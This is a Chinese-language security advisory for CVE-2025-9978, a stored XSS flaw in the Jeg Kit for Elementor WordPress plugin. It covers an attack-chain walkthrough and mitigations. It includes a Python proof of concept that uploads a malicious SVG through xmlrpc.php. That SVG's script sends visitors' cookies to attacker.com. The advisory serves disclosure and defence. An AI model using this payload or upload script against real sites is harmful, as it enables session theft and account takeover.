CVE-2025-9978: Jeg Kit for Elementor插件SVG上传XSS漏洞

漏洞信息

漏洞编号

CVE-2025-9978

漏洞类型

XSS (跨站脚本攻击)

CVSS评分

6.8 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

Jeg Kit for Elementor (WordPress插件)

漏洞概述

CVE-2025-9978是WordPress插件Jeg Kit for Elementor中的一个存储型跨站脚本(XSS)漏洞。该插件在2.7.0版本之前，上传SVG文件时未对文件内容进行充分的 sanitization（消毒处理），导致恶意SVG文件可以通过xmlrpc.php接口上传到服务器。当其他用户访问包含恶意SVG文件的内容时，攻击者注入的JavaScript代码将在受害者浏览器中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、进行钓鱼攻击或修改网页内容。由于CVSS评分为6.8（MEDIUM），且需要高权限用户交互才能触发，漏洞利用难度中等。建议受影响用户尽快升级到2.7.0或更高版本，并在升级前限制SVG文件上传功能。

技术细节

该漏洞的根本原因在于Jeg Kit for Elementor插件对SVG文件内容的处理存在安全缺陷。SVG（可缩放矢量图形）是一种基于XML的矢量图形格式，支持内嵌JavaScript代码。攻击者可以构造包含恶意脚本的SVG文件，通过WordPress的xmlrpc.php接口上传。当SVG文件被服务器存储后，任何访问该文件的用户都会触发浏览器执行其中的JavaScript代码。攻击链包括：(1) 构造包含XSS payload的恶意SVG文件；(2) 通过xmlrpc.php的wp.uploadFile方法上传文件；(3) 获取上传后的文件URL；(4) 诱骗管理员或用户访问该文件；(5) 窃取认证凭证或执行其他恶意操作。CVSS向量显示攻击向量为网络(AV:N)，权限要求为高权限(PR:H)，用户交互为需要(UI:R)，影响范围涵盖机密性(C:H)、完整性(I:H)和可用性(A:H)。

攻击链分析

STEP 1

步骤1

攻击者构造包含恶意JavaScript代码的SVG文件，利用SVG格式支持内嵌脚本的特性注入XSS payload

STEP 2

步骤2

攻击者获取WordPress站点的高权限账户（如管理员或编辑）凭据，用于通过xmlrpc.php上传文件

STEP 3

步骤3

通过WordPress XML-RPC接口（xmlrpc.php）的wp.uploadFile方法上传恶意SVG文件到服务器

STEP 4

步骤4

服务器存储SVG文件但未对内容进行消毒处理，恶意脚本被永久保存在服务器上

STEP 5

步骤5

攻击者通过社会工程学手段诱骗其他用户或管理员访问该SVG文件的URL

STEP 6

步骤6

受害者浏览器加载SVG文件时，嵌入的JavaScript代码在受害者域上下文中执行，窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
CVE-2025-9978 PoC - Jeg Kit for Elementor SVG XSS
Note: Requires high privilege WordPress account
"""

import requests
import base64
import sys

# Malicious SVG with XSS payload
MALICIOUS_SVG = '''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    // Steal cookies and send to attacker server
    document.location="http://attacker.com/log?cookie="+document.cookie
  </script>
  <rect width="100" height="100" fill="red"/>
</svg>'''

def upload_svg_via_xmlrpc(target_url, username, password):
    """
    Upload malicious SVG file via WordPress xmlrpc.php
    """
    xmlrpc_endpoint = f"{target_url}/xmlrpc.php"
    
    # Base64 encode the SVG content
    b64_content = base64.b64encode(MALICIOUS_SVG.encode()).decode()
    
    # XML-RPC request to upload file
    xmlrpc_request = '''<?xml version="1.0"?>
    <methodCall>
    <methodName>wp.uploadFile</methodName>
    <params>
        <param><value><int>1</int></value></param>
        <param><value><string>{}</string></value></param>
        <param><value><string>{}</string></value></param>
        <param><value>
            <struct>
                <member>
                    <name>name</name>
                    <value><string>malicious.svg</string></value>
                </member>
                <member>
                    <name>type</name>
                    <value><string>image/svg+xml</string></value>
                </member>
                <member>
                    <name>bits</name>
                    <value><base64>{}</base64></value>
                </member>
            </struct>
        </value></param>
    </params>
    </methodCall>'''.format(username, password, b64_content)
    
    try:
        response = requests.post(xmlrpc_endpoint, data=xmlrpc_request, timeout=30)
        if response.status_code == 200:
            print("[+] SVG file uploaded successfully via xmlrpc.php")
            print("[+] XSS payload embedded in SVG will execute when file is accessed")
            return True
        else:
            print("[-] Upload failed")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python cve-2025-9978.py <target_url> <username> <password>")
        sys.exit(1)
    upload_svg_via_xmlrpc(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Jeg Kit for Elementor < 2.7.0

防御指南

临时缓解措施

在无法立即升级的情况下，可采取以下临时缓解措施：(1) 暂时禁用SVG文件上传功能；(2) 限制xmlrpc.php的访问，仅允许白名单IP访问；(3) 在Web服务器层面配置MIME类型检查，阻止SVG文件的恶意执行；(4) 启用WordPress的安全插件进行额外防护；(5) 监控xmlrpc.php的访问日志，检测异常上传行为。建议尽快安排升级到2.7.0版本以彻底修复此漏洞。